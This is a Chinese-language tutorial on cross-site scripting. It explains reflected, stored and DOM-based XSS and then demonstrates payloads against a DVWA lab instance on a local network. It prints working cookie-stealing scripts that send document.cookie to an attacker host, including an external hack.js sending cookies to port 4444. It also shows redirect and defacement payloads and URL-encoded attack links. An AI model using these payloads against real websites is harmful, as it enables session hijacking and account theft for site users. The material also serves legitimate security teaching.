XSS跨站脚本攻击原理及常见攻击手段

XSS(Cross Site Scripting)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

原理

  XSS漏洞通常是由于程序代码不完善导致的,漏洞产生的危害是用户输入的数据引起的。用户在客户端输入的恶意代码,发送给服务器,服务器端并没有对其数据进行过滤或过滤不完善,而直接返回给用户的浏览器,浏览器就会解析并执行返回的恶意代码。比如一些论坛的留言板块就可能存在XSS漏洞,常见的程序代码就是JavaScript。一般攻击者利用该漏洞进行盗取cookie、或网站重定向等操作。

XSS漏洞类型

  • 反射型
    • 反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。
  • 存储型
    • 存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。
  • DOM型

使用场景

  • 直接嵌入html:

    1
    <script>alert('XSS')</script>
  • 元素标签事件:

    1
    <body onload=alert('XSS')>
  • 图片标签:

    1
    <img src="javascript:alert('XSS')">
  • 其他标签:

    1
    <iframe>, <div>, <link>
  • DOM对象,篡改页面内容

漏洞PoC

如下,用户输入名字,服务器会返回用户输入的数据
image

漏洞利用的条件

  • 站点存在XSS漏洞
  • 用户点击或浏览该站点的相关链接

简单的漏洞检验方法

1
<script>alert('XSS')</script>

如果服务器没有对数据进行一定的处理,而直接返回给用户浏览器,浏览器就会直接执行
image

【插入一条链接】

1
<a href=http://www.baidu.com/>click</a>

image

当用户点击就会跳转至百度页面
image

【插入一张图片】

1
<img src=http://192.168.43.1/a.jpg onerror=alert('XSS')>

如果图片不存在,出现错误就执行函数alert

【重定向】

1
<script>window.location='http://192.168.43.44/'</script>

如果攻击者将脚本嵌入url中,用户点击

1
http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F192.168.43.44%2F%27%3C%2Fscript%3E#

攻击者用nc开启80端口的监听,就可以获得对方浏览器的信息
image

【iframe框架】

1
<iframe src='http://192.168.43.44/' height=0 width=0></iframe>

利用方法同上;

【盗取cookie】

1
2
3
<script>new Image().src="http://192.168.43.44/a.php?output="+document.cookie;</script>

<script>window.location='http://192.168.43.44/a.php?output='+document.cookie;</script>

构造一个url:

1
http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F192.168.43.44%2Fa.php%3Foutput%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E#

只要用户点击该链接就可以获得用户浏览器的cookie
image

【篡改页面】

1
<script>document.body.innerHTML="<div style=visibility:visible><h1><hr/>THE WEBSITE IS UNDER ATTACK</h1></div>";</script>

url:

1
http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.body.innerHTML%3D%22%3Cdiv+style%3Dvisibility%3Avisible%3E%3Ch1%3E%3Chr%2F%3ETHE+WEBSITE+IS+UNDER+ATTACK%3C%2Fh1%3E%3C%2Fdiv%3E%22%3B%3C%2Fscript%3E#

image

如果js代码比较多,一般不会写在url中而是将js代码放在第三方服务器中,让用户访问时跳转到第三方获取js代码
js代码其实也可以在攻击者的服务器中,但为了隐蔽性,会选择第三方服务器。
例如攻击者将以下代码保存至hack.js文件中

1
2
var img = new Image();
img.src = "http://192.168.43.44:4444/cookies.php?cookie="+document.cookie;

该代码的作用是将cookie信息发送到攻击者服务器的4444端口
开启apache服务
利用代码:

1
<script src=http://192.168.43.44/hack.js></script>

构造url:

1
http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.43.44%2Fhack.js%3E%3C%2Fscript%3E#

用户点击,会向指定站点服务器获取js脚本,浏览器解析后会把cookies发送给攻击者
image